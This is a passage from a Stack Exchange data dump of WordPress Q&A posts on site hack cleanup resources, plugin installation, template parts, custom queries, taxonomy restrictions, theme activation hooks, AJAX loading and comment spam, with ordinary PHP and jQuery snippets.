Title="Need help cleaning up a wordpress site after being hacked" Tags="&lt;hacked&gt;" AnswerCount="3" CommentCount="0" />
  <row Id="6234" PostTypeId="2" ParentId="6233" CreationDate="2010-11-23T19:37:46.983" Score="1" ViewCount="" Body="&lt;p&gt;It sounds like you are looking for a freelancer with experience securing web applications.  I would recommend taking a look at www.elance.com.  It is a site built around exactly what you are looking for - finding a reasonably priced, yet good consultant.  While I have not personally used it, I have only heard good things by those that have.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-02T21:42:32.453" />
  <row Id="6235" PostTypeId="2" ParentId="6233" CreationDate="2010-11-23T22:10:13.777" Score="1" ViewCount="" Body="&lt;p&gt;From what I understand, these guys are good: &lt;a href=&quot;http://sucuri.net/&quot; rel=&quot;nofollow&quot;&gt;http://sucuri.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They helped diagnose the major Network Solutions WordPress issue back in April&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, since it's likely not the core WP engine that was hacked (rather a plugin or theme) I would just have someone take a look at /wp-content/themes and wp-content/plugins for the infection point. I would definitely scan the MySQL database items for injected content (scripts, etc) &lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-02T21:42:32.453" />
  <row Id="6236" PostTypeId="1" CreationDate="2010-11-22T15:39:48.870" Score="3" ViewCount="236" Body="&lt;p&gt;I setup a decent number of Wordpress installations clients/friends. There are a number of plugins that I use on every instance. Is there a good way to automatically have these plugins installed on every instance? Does simply copying the plugins folder to a new installation do the job?&lt;/p&gt;&#xA;" OwnerUserId="2064" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:31:30.133" LastActivityDate="2011-06-19T01:55:32.283" Title="How to automatically install default Wordpress plugins?" Tags="&lt;plugins&gt;&lt;installation&gt;" AnswerCount="7" CommentCount="0" FavoriteCount="2" />
  <row Id="6237" PostTypeId="2" ParentId="6236" CreationDate="2010-11-22T15:47:07.257" Score="0" ViewCount="" Body="&lt;p&gt;You might want to look at the 'Improved Plugin Installation' plugin;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/improved-plugin-installation/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/improved-plugin-installation/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Allows for plugin installation simply by submitting the wordpress plugin name or URL. This means you can install all your favorite wordpress plugins in one go!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.dragonblogger.com/installing-multiple-wordpress-plugins/&quot; rel=&quot;nofollow&quot;&gt;More info here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-02T21:43:07.103" />
  <row Id="6238" PostTypeId="2" ParentId="6236" CreationDate="2010-11-22T18:10:35.767" Score="0" ViewCount="" Body="&lt;p&gt;First of all, yes, you need to copy the physical files then you ACTIVATE them via this piece of code, see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4041/how-to-activate-plugins-via-code&quot;&gt;http://wordpress.stackexchange.com/questions/4041/how-to-activate-plugins-via-code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-01-02T21:43:07.103" />
  <row Id="6239" PostTypeId="1" AcceptedAnswerId="6240" CreationDate="2011-01-03T00:31:39.923" Score="0" ViewCount="217" Body="&lt;p&gt;Ever tried this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// template file&#xA;do_action( 'my_hook' );&#xA;&#xA;// ex. functions.php&#xA;function my_hooked_template_part() {&#xA;  get_template_part( 'my_loop_part_file', 'default' );&#xA;}&#xA;add_action( 'my_hook', 'my_hooked_template_part' );&#xA;&#xA;// my_loop_part_file-default.php&#xA;get_template_part( 'query', 'default' );&#xA;if ( have_posts() ) {&#xA;while ( have_posts() ) : the_post();&#xA;etc.&#xA;&#xA;// query-default.php&#xA;$args = array( 'whatever' =&amp;gt; 'and_so_on' );&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe it's my setup, but it won't load the file. Could it be that it's too late for loading some other file inside? Can anyone confirm or this just a drawback of using the get_template_part() function (only one file - no nesting)?&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-01-03T01:17:55.330" LastActivityDate="2011-02-02T02:17:46.483" Title="get_template_part inside get_template_part?" Tags="&lt;get-template-part&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" />
  <row Id="6240" PostTypeId="2" ParentId="6239" CreationDate="2011-01-03T00:52:53.173" Score="0" ViewCount="" Body="&lt;p&gt;If your comments in the code above reflect the file names then it's a dash vs. underscore mistake.&lt;br&gt;&#xA;Name of the second included file should be query-default.php&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-01-03T00:52:53.173" CommentCount="2" />
  <row Id="6241" PostTypeId="1" AcceptedAnswerId="6250" CreationDate="2011-01-03T01:49:34.223" Score="0" ViewCount="260" Body="&lt;p&gt;I want users to be able to use a car template in new posts. The template will include items such as a photograph of a car, make, model, number of doors, colour of car, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users will not want to use the template in every one of their posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I do this? My idea is to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create a new widget within the 'Add new post' page. This would contain a form in which the user can upload a photograph and enter data (in text input fields).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Once the user has completed the form (within the widget), they could press a button (either in the widget or in the 'Add new post' toolbar) which will embed the form data into the new post.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can you tell me if this would be a good/best approach, or if I should do it another way.&lt;/p&gt;&#xA;" OwnerUserId="739" LastEditorUserId="739" LastEditorDisplayName="" LastEditDate="2011-01-03T02:29:32.003" LastActivityDate="2011-03-09T16:05:42.160" Title="How to embed form data within the 'Add new post'" Tags="&lt;custom-post-types&gt;&lt;widgets&gt;&lt;posts&gt;&lt;form&gt;" AnswerCount="2" />
  <row Id="6242" PostTypeId="1" AcceptedAnswerId="6251" CreationDate="2011-01-03T03:22:40.217" Score="-1" ViewCount="57" Body="&lt;p&gt;I'm setting up a blog that I'm trying to integrate the posts of into old site pages. The&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = $_GET['article_id'];&#xA;$post = get_post($id);&#xA;setup_postdata($post);&#xA;echo $post-&amp;gt;post_content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I echo the blog post from &lt;code&gt;$post-&amp;gt;post_content&lt;/code&gt;, it seems that the html has been stripped out. The lines all run together. There are line breaks in the source, but there are no html &lt;code&gt;&amp;lt;BR&amp;gt;&lt;/code&gt;s or &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;s. However, the post looks fine when I view it through the actual WordPress page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to use &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; to get it to display properly, but then on the page, lines don't wrap and it defaults to that typewriter font. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? &lt;/p&gt;&#xA;" OwnerUserId="1359" LastActivityDate="2011-01-03T10:53:22.997" Title="Can't get blog entry to format properly using wp-load" Tags="&lt;formatting&gt;" AnswerCount="1" />
  <row Id="6243" PostTypeId="1" CreationDate="2011-01-03T03:44:50.323" Score="0" ViewCount="457" Body="&lt;p&gt;(I am pretty new to wordpress - am a C++ developer, not an html/css coder, but I am trying.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having trouble figuring out how to make a home page that has blurbs about some of our products, etc and generally make something better than just a static page of text.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have some pictures, perhaps a three columns or two columns of little bits of intro text that users can click on to go to other pages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at a loss about how to do that.  Do I need the widgets, or something?  It is very unclear to me how to make it work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to post some samples of what I am looking to do - but it really isn't all that fancy.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some links to resources would be great - I am so new to this I don't know where to go for help or documentation.  What I need is a simple &quot;how to do this&quot; tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1342" LastActivityDate="2011-01-03T12:22:37.293" Title="How to make multi -column, interesting home page in Weaver 2010?" Tags="&lt;widgets&gt;&lt;homepage&gt;" AnswerCount="2" />
  <row Id="6244" PostTypeId="1" CreationDate="2011-01-03T04:02:55.470" Score="0" ViewCount="266" Body="&lt;p&gt;Interesting issue here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args=array(&#xA;'meta_key'=&amp;gt;'_simple_fields_fieldGroupID_1_fieldID_8_numInSet_0',&#xA;  'post_type' =&amp;gt; 'stores',&#xA;  'post_status' =&amp;gt; 'publish',&#xA;  'posts_per_page' =&amp;gt; 10,&#xA;  'caller_get_posts'=&amp;gt; 1&#xA;);&#xA;$my_query = null;&#xA;$my_query = new WP_Query($args);&#xA;if( $my_query-&amp;gt;have_posts() ) {&#xA;  while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php $selected_value = get_post_meta(get_the_id(), &quot;_simple_fields_fieldGroupID_1_fieldID_9_numInSet_0&quot;, true);&#xA;  echo &quot;$selected_value&quot;; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;at&amp;amp;nbsp;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php&#xA;  endwhile;&#xA;&#xA;}&#xA;wp_reset_query();  // Restore global post data stomped by the_post().&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which intends to display a list of a specific post type (stores) in the sidebar if a specific custom field is not empty. On single posts that works great - on the main page (home.php) it doesn't - the sidebar widget is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" LastActivityDate="2011-02-02T19:17:47.120" Title="Custom Post Type Query for Sidebar Doesn't Work on Front Page" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;sidebar&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6245" PostTypeId="1" CreationDate="2011-01-03T04:56:08.940" Score="0" ViewCount="104" Body="&lt;p&gt;I am working on a website for my school.&#xA;I downloaded the inline post plugin. This plug-in allows you to make posts on multiple pages throughout the site. However, I am having trouble displaying a certain number of posts per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know what I can do.&#xA;Thank you (:&lt;/p&gt;&#xA;" LastActivityDate="2011-01-03T08:18:09.080" Title="Specifying # of Posts per page using inline post plugin (:" Tags="&lt;posts&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="6246" PostTypeId="2" ParentId="6233" CreationDate="2011-01-03T05:38:04.093" Score="0" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;FAQ: My site was hacked « WordPress Codex&lt;/a&gt; and &lt;a href=&quot;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&quot; rel=&quot;nofollow&quot;&gt;How to completely clean your hacked wordpress installation&lt;/a&gt; and &lt;a href=&quot;http://ottopress.com/2009/hacked-wordpress-backdoors/&quot; rel=&quot;nofollow&quot;&gt;How to find a backdoor in a hacked WordPress&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;a href=&quot;http://jobs.wordpress.net/&quot; rel=&quot;nofollow&quot;&gt;WordPress Jobs  &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-01-03T05:38:04.093" />
  <row Id="6247" PostTypeId="1" AcceptedAnswerId="6254" CreationDate="2011-01-03T06:53:45.853" Score="0" ViewCount="124" Body="&lt;p&gt;One of the big problems my site staff has had with tags is the overwhelming number of similar or duplicate tags, due to the write-in ability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm about to add new custom taxonomies to my site for them to use, but I'd like to avoid the problem we had with tags. I'm curious to know if I can turn off write-ins, so they can only be added manually through that taxonomy's part of the admin area. It's non-hierarchical, so they can still type in and the system will auto-complete and search for tags they might be looking for, which is great. I just don't want them to be able to create new tags from the post screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I was looking at the Taxonomies and register_taxonomy() pages in the Codex, and thought maybe the &quot;rewrite&quot; function might be what I'm looking for, but I don't think it is now.&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2011-08-19T12:41:34.937" Title="Can I turn off write-in tags/taxonomies?" Tags="&lt;custom-taxonomy&gt;&lt;tags&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="6248" PostTypeId="1" AcceptedAnswerId="7973" CreationDate="2011-01-03T08:14:35.230" Score="2" ViewCount="451" Body="&lt;p&gt;I would like to write a function to email me the URL of the website when my theme is activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the hook initiated when the theme is activated?&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2011-01-28T10:23:14.057" Title="Theme Activate Hook" Tags="&lt;theme-development&gt;&lt;hooks&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="6249" PostTypeId="2" ParentId="6245" CreationDate="2011-01-03T08:18:09.080" Score="2" ViewCount="" Body="&lt;p&gt;According to the plugin's description in order to embed a post, you need to enter the post ID in the square brackets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;code&gt;[42]&lt;/code&gt; will embed the post with ID 42.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I assume to include multiple posts you have to include multiple IDs using the same short code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example &lt;code&gt;[22][37][42]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S - Didnt test it.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2011-01-03T08:18:09.080" />
  <row Id="6250" PostTypeId="2" ParentId="6241" CreationDate="2011-01-03T08:20:46.207" Score="1" ViewCount="" Body="&lt;p&gt;IMO this ia a good approach. However one thing I would focus is instead of embedding the data into the post body, you may insert custom fields in that post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may help you sorting posts based on color, make etc or what ever your fields are.&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2011-01-03T08:20:46.207" />
  <row Id="6251" PostTypeId="2" ParentId="6242" CreationDate="2011-01-03T10:53:22.997" Score="1" ViewCount="" Body="&lt;p&gt;Post content, stored in database, is not equal to what gets displayed. It should be displayed with template tag function or at least run through &lt;code&gt;the_content&lt;/code&gt; filter. Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_content();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo apply_filters( 'the_content', $post-&amp;gt;post_content );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-03T10:53:22.997" />
  <row Id="6252" PostTypeId="2" ParentId="6243" CreationDate="2011-01-03T11:00:20.730" Score="1" ViewCount="" Body="&lt;p&gt;For starters see &lt;a href=&quot;http://codex.wordpress.org/Blog_Design_and_Layout&quot; rel=&quot;nofollow&quot;&gt;Site Design and Layout&lt;/a&gt; in Codex (official documentation wiki).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall your question is somewhat broad. Specifics will depend on &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;theme you are going to modify;&lt;/li&gt;&#xA;&lt;li&gt;what content you want to use;&lt;/li&gt;&#xA;&lt;li&gt;how easily editable you want it to be;&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-03T11:00:20.730" />
  <row Id="6253" PostTypeId="2" ParentId="6248" CreationDate="2011-01-03T11:17:32.330" Score="4" ViewCount="" Body="&lt;p&gt;There is no specialized hook for this. I have seen couple of approaches:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;switch_theme&lt;/code&gt; hook with checking for your theme - &lt;a href=&quot;http://stackoverflow.com/questions/2566921/wordpress-custom-theme-execute-setup-code-on-activation-only&quot;&gt;Execute “Setup” Code on Activation only?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;detecting admin page after theme activation - &lt;a href=&quot;http://wpengineer.com/1705/set-options-on-activation-themes/&quot; rel=&quot;nofollow&quot;&gt;Set options on activation Themes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to note that emailing yourself any information without user's consent (and running anything on activation has no opportunity to request such) can be viewed as inappropriate.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-03T11:17:32.330" CommentCount="1" />
  <row Id="6254" PostTypeId="2" ParentId="6247" CreationDate="2011-01-03T12:14:48.247" Score="2" ViewCount="" Body="&lt;p&gt;Here is what I came up with, seems to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'pre_post_tags_input', 'no_tags_input_create' );&#xA;add_filter( 'pre_post_tax_input', 'no_tax_input_create' );&#xA;&#xA;function no_tags_input_create($tags_input) {&#xA;&#xA;    $output = array();&#xA;&#xA;    foreach( $tags_input as $tag )&#xA;        if( term_exists( $tag, 'post_tag') )&#xA;            $output[] = $tag;&#xA;&#xA;    return $output;&#xA;}&#xA;&#xA;function no_tax_input_create($tax_input) {&#xA;&#xA;    if( !isset($tax_input['post_tag']) )&#xA;        return $tax_input;&#xA;&#xA;    $output = array();&#xA;    $tags = explode(',', $tax_input['post_tag']);&#xA;&#xA;    foreach( $tags as $tag )&#xA;        if( term_exists( $tag, 'post_tag') )&#xA;            $output[] = $tag;&#xA;&#xA;    $tax_input['post_tag'] = implode(',',$output);&#xA;&#xA;    return $tax_input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is for tags, you can easily extend second function to handle custom taxonomies.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-03T12:14:48.247" CommentCount="2" />
  <row Id="6255" PostTypeId="1" CreationDate="2011-01-03T12:21:46.993" Score="0" ViewCount="178" Body="&lt;p&gt;As i'm new to AJAX, i'm still learning a lot and have learned a lot over the past weeks. I do need some more assistance on an AJAX issue though:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code to display post_thumbnails in a slider which when clicked go to the specific portfolio piece:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id='portfolio-list'&amp;gt;&#xA;     &amp;lt;?php query_posts('cat=16&amp;amp;post_type=portfolio'); ?&amp;gt;&#xA;        &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;            &amp;lt;li class=&quot;&amp;lt;?php foreach((get_the_category()) as $category ) { echo $category-&amp;gt;slug . ' '; } ?&amp;gt;all&quot;&amp;gt;&#xA;                    &amp;lt;?php if ( has_post_thumbnail() ) { ?&amp;gt;&#xA;                &amp;lt;a id=&quot;caseStudy&quot; href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;?php } else { ?&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/post-thumb.jpg&quot; width=&quot;141&quot; height=&quot;73&quot; alt=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; endif ?&amp;gt;&#xA;        &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i'm looking to do is to have the portfolio piece content load on the same page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var ajax_load = &quot;&amp;lt;center&amp;gt;&amp;lt;img style='margin-top: 150px;' src='&amp;lt;?php bloginfo(&quot;template_url&quot;); ?&amp;gt;/images/loader.gif' alt='Loading...' /&amp;gt;&amp;lt;/center&amp;gt;&quot;; &#xA;&#xA;                var loadUrl = &quot;http://localhost:8888/cnNew/?page_id=4&quot;; &#xA;                    $(&quot;#ourTeam&quot;).live('click', function(){&#xA;                        $(&quot;#teamLoad&quot;)&#xA;                            .html(ajax_load)&#xA;                            .load(loadUrl + &quot; #innerTeam&quot;)&#xA;                    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to load other items onto the page but can't seem to get this way of calling it to work with the dynamically listed content. Can someone provide some assistance on the best way to achieve what i'm looking to do or at least a direction? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2011-01-06T01:09:36.033" Title="Ajax, Permalinks and post_thumbnail" Tags="&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="6256" PostTypeId="2" ParentId="6243" CreationDate="2011-01-03T12:22:37.293" Score="1" ViewCount="" Body="&lt;p&gt;In very broad lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use a &lt;em&gt;theme&lt;/em&gt; to format the actual page. A &lt;em&gt;theme&lt;/em&gt; is a collection of &lt;em&gt;template files&lt;/em&gt;, which are just PHP files that can thus do anything. Which template file is included depends on the request, and is outlined in &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;the template hierarchy&lt;/a&gt;. At a minimum you need an &lt;code&gt;index.php&lt;/code&gt; page, but most themes have &lt;code&gt;single.php&lt;/code&gt; for displaying single posts, &lt;code&gt;page.php&lt;/code&gt; for displaying single pages, and &lt;code&gt;archive.php&lt;/code&gt; for displaying a list of posts (date, category, tag, ... archives).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time, the posts are queried for you by WordPress depending on the request, so &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;you don't have to call &lt;code&gt;query_posts()&lt;/code&gt; yourself&lt;/a&gt;. Most content is displayed by &lt;a href=&quot;http://codex.wordpress.org/Template_Tags&quot; rel=&quot;nofollow&quot;&gt;template tags&lt;/a&gt;, PHP functions that display a specific item: &lt;code&gt;the_content()&lt;/code&gt; for the main content, &lt;code&gt;the_date()&lt;/code&gt; for the formatted date... You see them used a lot without arguments, because they get the post data from global variables. These global vars are set in the beginning of &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt;, which is thus just a normal loop with some global vars set in each iteration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do anything hard-coded in your theme files, but a lot of useful code snippets are bundled in &lt;em&gt;widgets&lt;/em&gt;. Most widgets are displayed in &lt;em&gt;sidebars&lt;/em&gt;, which you can define for your theme. The idea is that administrators of your site can drag and drop widgets in a user-friendly way to change the layout of their site. The term &lt;em&gt;sidebar&lt;/em&gt; should be understood as &lt;em&gt;widget container&lt;/em&gt;, since they can also be used as footers, or even the main content area of your site. Again, it's up to you to define how many sidebars you want in each template file. Personally I hard-code almost nothing in my theme files, even if it's for my own site, because it improves re-usability and er... because it feels better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to modify a part of a function, check to see whether is has &lt;a href=&quot;http://codex.wordpress.org/Plugin_API&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;hooks&lt;/em&gt;&lt;/a&gt;. A hook is a way to extend the functionality of a function: for example, the &lt;code&gt;the_content()&lt;/code&gt; function calls the &lt;code&gt;the_content&lt;/code&gt; hook with the post content and returns whatever results after calling all hooks. This allows you, or other plugins you use, to modify the &lt;code&gt;the_content()&lt;/code&gt; function. There are two types of hooks: &lt;em&gt;filters&lt;/em&gt; which get a value, can modify it and must return the new value (if you forget this the original function will also return nothing), and &lt;em&gt;actions&lt;/em&gt; which can do anything but don't have to return a value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this quick introduction gives you an overview of the main concepts of theme design in WordPress, if there is anything else, just ask.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-03T12:22:37.293" />
  <row Id="6257" PostTypeId="1" AcceptedAnswerId="6269" CreationDate="2011-01-03T12:22:41.707" Score="2" ViewCount="123" Body="&lt;p&gt;I'm receiving many many spam comments using the same username and I guess it is a bot that keeps on submitting comments. In one week I get around 100 such comments (which is quite a lot for my small blog). I want to have a look at all comments that are marked as spam (just in case Akismet is too strict on a certain legit comment), but this is really annoying. Therefore I have two small questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I tell WP to trash all comments that come from a certain username?&lt;/li&gt;&#xA;&lt;li&gt;What do you generally do in situations like this?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="518" LastActivityDate="2011-01-03T17:13:18.920" Title="A spam bot loves me, what can I do?" Tags="&lt;spam&gt;&lt;akismet&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="6258" PostTypeId="2" ParentId="6257" CreationDate="2011-01-03T12:41:32.367" Score="4" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I tell WP to trash all comments that come from a certain username?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Settings &gt; Discussion &gt; Comment Blacklist&lt;/em&gt; - any words there will auto-spam comment, it matches against name and other comment's fields.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What do you generally do in situations like this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I use my own spam filter that I am confident is extremely unlikely to produce false positives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Akismet is mainstream thanks to bundling, but really efficient spam filtering is picking tools relevant to amount and types of spam that specific blog gets.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-03T12:41:32.367" CommentCount="2" />
  <row Id="6259" PostTypeId="1" AcceptedAnswerId="6298" CreationDate="2011-01-03T13:29:34.387" Score="0" ViewCount="255" Body="&lt;p&gt;I'm developing a new custom theme - and noticed that if a post contains the shortcode [gallery] it gets ignored (&lt;em&gt;edit&lt;/em&gt;: I mean that the HTML delivered to the browser does not include [gallery], nor anything in its place... I think there's a blank line or two)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Theme is&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;grabbing post contents via &lt;code&gt;the_content('&amp;amp;rarr;')&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;also removing the standard &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt; wrapper via &lt;code&gt;remove_filter('the_content', 'wpautop');&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Theme_Features&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt; does not list this as one of the features you explicitly have to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_theme_support&quot; rel=&quot;nofollow&quot;&gt;add support for&lt;/a&gt; - but we know the codex can be outdated/incomplete at 